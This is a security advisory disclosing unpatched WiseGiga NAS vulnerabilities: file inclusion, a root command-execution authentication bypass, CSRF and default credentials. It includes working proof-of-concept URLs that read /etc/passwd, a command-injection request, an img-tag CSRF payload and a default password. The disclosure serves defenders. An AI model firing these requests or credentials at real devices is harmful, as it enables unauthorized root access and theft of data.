SSD Advisory – WiseGiga NAS Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3402

SSD / Maor Schwartz September 5, 2017

Vulnerabilities summary
The following advisory describes five (5) vulnerabilities and default accounts / passwords found in WiseGiga NAS devices.

WiseGiga is a Korean company selling NAS products.

The vulnerabilities found in WiseGiga NAS are:

- Pre-Authentication Local File Inclusion (4 different vulnerabilities)
- Post-Authentication Local File Inclusion
- Remote Command Execution as root
- Remote Command Execution as root with CSRF
- Info Leak
- Default accounts

Credit
An independent security researcher, Pierre Kim, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
We tried to contact WiseGiga since June 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.

<u>Vulnerabilities details</u>

Pre-Authentication Local File Inclusion
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).

By sending GET request to the following URI's with *filename=* as a parameter, an attacker can trigger the vulnerabilities:

- /webfolder/download_file1.php
- down_data.php
- download_file.php
- mobile/download_file1.php

Proof of Concept

```
http://IP/webfolder/download_file1.php?filename=/etc/passwd
http://IP/down_data.php?filename=/etc/passwd
http://IP/download_file.php?filename=base64(/etc/passwd)
http://IP/mobile/download_file1.php?filename=base64(/etc/passwd)
```

Post-Authentication Local File Inclusion
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for

example, passwords).

By sending GET request to */mobile/download_file2.php* an attacker can trigger the vulnerability.

Proof of Concept

```
http://IP//mobile/download_file2.php?filename=base64(/etc/passwd)
```

Remote Command Execution as root
The WiseGiga NAS firmware contain *pre.php* files in the different directories.

For example:

```
/app_data/apache/htdocs/auto/pre.php
/app_data/apache/htdocs/admin/iframe/pre.php
/app_data/apache/htdocs/admin/pre.php
/app_data/apache/htdocs/mobile/pre.php
/app_data/apache/htdocs/wiseapp/config/pre.php
/app_data/apache/htdocs/pre.php
/home/htdocs/webfolder/pre.php
/ub/update/init/pre.php
/tmp/home/root/htdocs/auto/pre.php
/tmp/home/root/htdocs/pre.php
```

A “standard” pre.php contains:

```
181 [...]
182 function  auth()
183 {
184  global $memberid;
185  session_start();
186 //echo $memberid;
187  if($memberid=="root")
188  {
189   // print<<<__DATA_OF_HTML__
190   //<script language="JavaScript">
191   //  alert("sucess !");
192   //</script>
193 //__DATA_OF_HTML__;
194  }
195  else
196  {
197   print<<<__DATA_OF_HTML__
198   <script language="JavaScript">
199     alert("\xc0\xce\xc1\xf5\xb9\xde\xc1\xf6 \xbe\xca\xc0\xba\xbb\xe7\xbf\xeb\xc0\xda\xc0\xd4\xb4\xcf\xb4\xd9!");
200 //    location.href='/admin/';
201       window.open('index.php','_parent');
202     exit;
203   </script>
204 __DATA_OF_HTML__;
205  }
206
207 }
```

Using global *$memberid* (line 184), the attacker can override the authentication, by specifying a valid user (“root”) inside the HTTP request:

```
GET /webpage[...]?memberid=root&[...] HTTP/1.0
```

The pre.php files also contains a function called *root_exec_cmd()* that is a wrapper to *popen()*:

```
23 function root_exec_cmd($cmd)
24 {
25       $tmpfile=fopen("/tmp/ramdisk/cmd.list","w");
26       fwrite($tmpfile,$cmd);
27       fclose($tmpfile);
28       popen("/tmp/ramdisk/ramush","r");
29 }
```

By sending a *GET* request to *root_exec_cmd()* with user controlled *$cmd* variable input an attacker can execute arbitrary commands

The WiseGiga NAS run’s the Apache server as root (uid=0 with gid=48 “apache”) hence the commands will execute as root.

Proof of Concept

By sending GET request to */admin/group.php* with parameter `?cmd=add` the WiseGiga NAS will call the *add_system()* function:

```
178 if($cmd == "add")
179 {
180       add_system();
181 }
```

The *add_system()* function uses global for *$group_name* and *$user_data*.

Then it will pass the user controlled input and will run it as root:

```
145 function add_system()
146 {
147       global $group_name,$user_data;
148
149    if(add_conf()==1)
150    {
151
//==================================================================================
152       root_exec_cmd("addgroup $group_name");
```

An attacker can get unauthenticated RCE as root by sending the following request:

```
http://IP/admin/group.php?memberid=root&cmd=add&group_name=d;id%20>%20/tmp/a
```

The file */tmp/a* will contain:

```
uid=0(root) gid=48(apache) groups=48(apache)
```

Remote Command Execution as root with CSRF
There is no CSRF protection in WiseGiga NAS.

An attacker can force the execution of a command as root when the victim visits the malicious website.

Proof of Concept
Once the victim visit the attacker's website with the following code, the attacker can execute arbitrary commands.

```
<img src="http://192.168.1.1/admin/group.php?
memberid=root&cmd=add&group_name=d;COMMANDTOEXECUTE">
```

InfoLeak
accessing *http://IP/webfolder/config/config.php* will disclose the PHP configuration.

Default accounts
Username: guest
Password: guest09#$